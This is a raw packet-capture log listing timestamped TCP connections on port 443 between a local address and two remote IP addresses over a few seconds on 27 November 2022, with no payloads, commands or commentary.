Nov 27, 2022 04:38:06.881362915 CET	443	49933	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:06.881458998 CET	49933	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.881479979 CET	443	49933	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:06.881550074 CET	443	49933	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:06.881819010 CET	49933	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.882030964 CET	49933	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:06.882050991 CET	443	49933	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:06.998773098 CET	49935	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:06.998848915 CET	443	49935	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:06.999056101 CET	49935	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:06.999284029 CET	49935	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:06.999306917 CET	443	49935	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:06.999439955 CET	443	49935	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:07.055654049 CET	49936	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.055737972 CET	443	49936	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.055835009 CET	49936	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.056279898 CET	49936	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.056312084 CET	443	49936	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.105887890 CET	443	49936	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.106045961 CET	49936	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.106571913 CET	49936	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.106601954 CET	443	49936	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.109405994 CET	49936	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.109425068 CET	443	49936	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.207787991 CET	443	49936	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.207967043 CET	443	49936	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.220141888 CET	49936	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.481216908 CET	49937	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:07.481298923 CET	443	49937	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:07.481409073 CET	49937	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:07.481584072 CET	49937	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:07.481620073 CET	443	49937	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:07.481769085 CET	443	49937	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:07.492763042 CET	49936	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.492815971 CET	443	49936	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.609489918 CET	49938	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.609559059 CET	443	49938	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.644680023 CET	49938	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.649379969 CET	49938	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.649439096 CET	443	49938	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.698260069 CET	443	49938	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.704941034 CET	49938	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.707087040 CET	49938	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.707123995 CET	443	49938	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.709928989 CET	49938	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.709968090 CET	443	49938	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.766134024 CET	49939	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:07.766206026 CET	443	49939	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:07.766845942 CET	49939	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:07.767007113 CET	49939	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:07.767024994 CET	443	49939	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:07.767281055 CET	443	49939	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:07.808552980 CET	443	49938	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.808706999 CET	443	49938	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:07.826020002 CET	49938	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.827223063 CET	49938	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:07.827267885 CET	443	49938	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.174906969 CET	49940	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:08.174988031 CET	443	49940	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:08.178380966 CET	49940	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:08.178529024 CET	49940	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:08.178553104 CET	443	49940	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:08.178896904 CET	443	49940	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:08.261213064 CET	49941	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.261296988 CET	443	49941	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.261630058 CET	49941	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.262087107 CET	49941	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.262123108 CET	443	49941	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.312638044 CET	443	49941	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.329832077 CET	49941	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.366199970 CET	49941	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.366239071 CET	443	49941	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.369081020 CET	49941	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.369117975 CET	443	49941	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.433320999 CET	443	49941	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.433484077 CET	443	49941	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.450927019 CET	443	49941	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.452838898 CET	49941	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.573251963 CET	49941	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.573303938 CET	443	49941	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.578727961 CET	49942	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:08.578819036 CET	443	49942	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:08.578999043 CET	49942	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:08.579169989 CET	49942	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:08.579190016 CET	443	49942	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:08.579447985 CET	443	49942	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:08.759305000 CET	49943	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.759377956 CET	443	49943	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.763839960 CET	49943	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.764451981 CET	49943	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.764489889 CET	443	49943	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.813658953 CET	443	49943	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.815952063 CET	49943	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.816687107 CET	49943	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.816719055 CET	443	49943	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.821240902 CET	49943	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.821269035 CET	443	49943	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.883780956 CET	49944	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:08.883862019 CET	443	49944	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:08.886893034 CET	49944	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:08.887031078 CET	49944	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:08.887061119 CET	443	49944	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:08.887296915 CET	443	49944	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:08.918436050 CET	443	49943	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.922182083 CET	49943	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.922245026 CET	443	49943	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.922415018 CET	49943	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.973556995 CET	49943	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:08.973790884 CET	443	49943	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:08.973913908 CET	49943	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.083699942 CET	49945	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.083760023 CET	443	49945	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.084268093 CET	49945	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.085325956 CET	49945	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.085362911 CET	443	49945	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.132682085 CET	49946	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:09.132762909 CET	443	49946	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:09.136408091 CET	443	49945	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.140831947 CET	49946	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:09.140853882 CET	49945	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.141237020 CET	49946	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:09.141272068 CET	443	49946	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:09.141340017 CET	443	49946	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:09.147047043 CET	49945	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.147077084 CET	443	49945	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.147793055 CET	443	49945	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.161258936 CET	49945	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.162564039 CET	49945	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.162597895 CET	443	49945	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.238384008 CET	443	49945	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.238533020 CET	443	49945	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.241904974 CET	49945	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.243716955 CET	49945	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.243753910 CET	443	49945	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.381863117 CET	49947	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:09.381923914 CET	443	49947	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:09.382019043 CET	49947	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:09.382164955 CET	49947	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:09.382181883 CET	443	49947	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:09.382436037 CET	443	49947	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:09.433073044 CET	49948	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.433139086 CET	443	49948	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.433245897 CET	49948	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.471438885 CET	49948	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.471493006 CET	443	49948	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.521112919 CET	443	49948	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.521215916 CET	49948	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.529208899 CET	49948	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.529237032 CET	443	49948	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.532217979 CET	49948	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.532236099 CET	443	49948	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.621743917 CET	443	49948	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.621881962 CET	443	49948	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.621903896 CET	49948	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.621953011 CET	49948	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.634342909 CET	49949	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:09.634409904 CET	443	49949	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:09.634525061 CET	49949	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:09.634860992 CET	49949	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:09.634907007 CET	443	49949	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:09.634969950 CET	49948	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.634983063 CET	443	49949	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:09.635015011 CET	443	49948	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.749020100 CET	49950	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.749077082 CET	443	49950	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.749161005 CET	49950	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.755436897 CET	49950	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.755485058 CET	443	49950	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.808872938 CET	443	49950	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.808970928 CET	49950	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.811225891 CET	49950	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.811253071 CET	443	49950	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.814269066 CET	49950	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.814292908 CET	443	49950	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.836127996 CET	49951	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:09.836206913 CET	443	49951	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:09.836303949 CET	49951	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:09.836443901 CET	49951	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:09.836469889 CET	443	49951	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:09.836565018 CET	443	49951	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:09.911535978 CET	443	49950	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.911693096 CET	49950	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.911731005 CET	443	49950	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.911808014 CET	49950	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.930423021 CET	49950	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:09.930533886 CET	443	49950	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:09.930687904 CET	49950	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.083486080 CET	49952	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.083574057 CET	443	49952	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.083760977 CET	49952	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.083959103 CET	49952	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.083997011 CET	443	49952	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.084076881 CET	443	49952	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.096946001 CET	49953	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.097012997 CET	443	49953	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.097126007 CET	49953	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.097598076 CET	49953	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.097623110 CET	443	49953	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.147320032 CET	443	49953	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.147558928 CET	49953	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.178735971 CET	49953	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.178791046 CET	443	49953	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.179652929 CET	443	49953	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.179733038 CET	49953	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.180450916 CET	49953	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.180464983 CET	443	49953	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.247998953 CET	443	49953	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.248265982 CET	49953	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.248320103 CET	443	49953	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.248404026 CET	49953	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.270277023 CET	49953	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.270422935 CET	443	49953	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.270535946 CET	49953	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.427392960 CET	49954	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.427472115 CET	443	49954	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.427588940 CET	49954	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.437727928 CET	49954	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.437786102 CET	443	49954	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.477586985 CET	49955	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.477662086 CET	443	49955	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.477828979 CET	49955	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.477960110 CET	49955	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.477996111 CET	443	49955	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.478111029 CET	443	49955	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.490037918 CET	443	49954	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.490284920 CET	49954	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.519496918 CET	49954	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.519578934 CET	443	49954	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.520179033 CET	443	49954	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.520278931 CET	49954	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.520849943 CET	49954	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.520867109 CET	443	49954	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.596474886 CET	443	49954	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.596637964 CET	443	49954	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.596671104 CET	49954	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.596729040 CET	49954	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.611490011 CET	49956	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.611577988 CET	443	49956	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.611726046 CET	49956	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.611888885 CET	49956	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.611912012 CET	443	49956	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.612060070 CET	443	49956	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.638783932 CET	49954	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.638842106 CET	443	49954	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.752047062 CET	49957	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.752116919 CET	443	49957	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.752317905 CET	49957	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.752470016 CET	49957	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.752489090 CET	443	49957	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.752691031 CET	443	49957	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.804738998 CET	49958	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.804816008 CET	443	49958	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.804929018 CET	49958	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.812347889 CET	49958	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.812387943 CET	443	49958	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.861433983 CET	443	49958	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.861561060 CET	49958	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.867552996 CET	49958	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.867574930 CET	443	49958	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.870449066 CET	49958	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.870467901 CET	443	49958	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.877073050 CET	49959	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.877146959 CET	443	49959	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.877259016 CET	49959	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.877399921 CET	49959	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:10.877425909 CET	443	49959	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.877537966 CET	443	49959	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:10.966037035 CET	443	49958	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.966116905 CET	49958	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.966141939 CET	443	49958	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.966202021 CET	443	49958	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:10.966216087 CET	49958	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.966258049 CET	49958	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.969605923 CET	49958	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:10.969643116 CET	443	49958	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.021225929 CET	49960	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.021292925 CET	443	49960	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.021394014 CET	49960	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.021574020 CET	49960	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.021601915 CET	443	49960	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.021670103 CET	443	49960	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.116069078 CET	49961	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.116137028 CET	443	49961	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.116240025 CET	49961	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.117470026 CET	49961	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.117502928 CET	443	49961	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.165083885 CET	443	49961	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.165250063 CET	49961	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.176593065 CET	49961	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.176630974 CET	443	49961	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.179341078 CET	49961	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.179378986 CET	443	49961	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.222470045 CET	49962	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.222542048 CET	443	49962	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.222649097 CET	49962	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.222806931 CET	49962	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.222846031 CET	443	49962	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.222987890 CET	443	49962	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.273401976 CET	443	49961	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.273621082 CET	49961	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.273668051 CET	443	49961	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.273761988 CET	49961	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.287524939 CET	49961	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.287672997 CET	443	49961	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.287774086 CET	49961	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.410330057 CET	49963	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.410398960 CET	443	49963	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.410511017 CET	49963	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.410727978 CET	49963	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.410749912 CET	443	49963	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.410864115 CET	443	49963	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.442749023 CET	49964	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.442826986 CET	443	49964	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.442936897 CET	49964	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.445491076 CET	49964	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.445523977 CET	443	49964	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.497041941 CET	443	49964	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.497152090 CET	49964	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.506969929 CET	49964	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.507000923 CET	443	49964	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.507605076 CET	443	49964	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.507672071 CET	49964	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.508183956 CET	49964	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.508197069 CET	443	49964	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.523695946 CET	49965	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.523772001 CET	443	49965	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.523925066 CET	49965	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.524105072 CET	49965	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.524127960 CET	443	49965	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.524255037 CET	443	49965	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.605245113 CET	443	49964	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.605333090 CET	49964	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.605359077 CET	443	49964	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.605416059 CET	49964	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.605432034 CET	443	49964	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.605482101 CET	49964	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.605545998 CET	443	49964	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.605602980 CET	49964	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.609693050 CET	49964	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.609743118 CET	443	49964	172.66.43.60	192.168.2.5
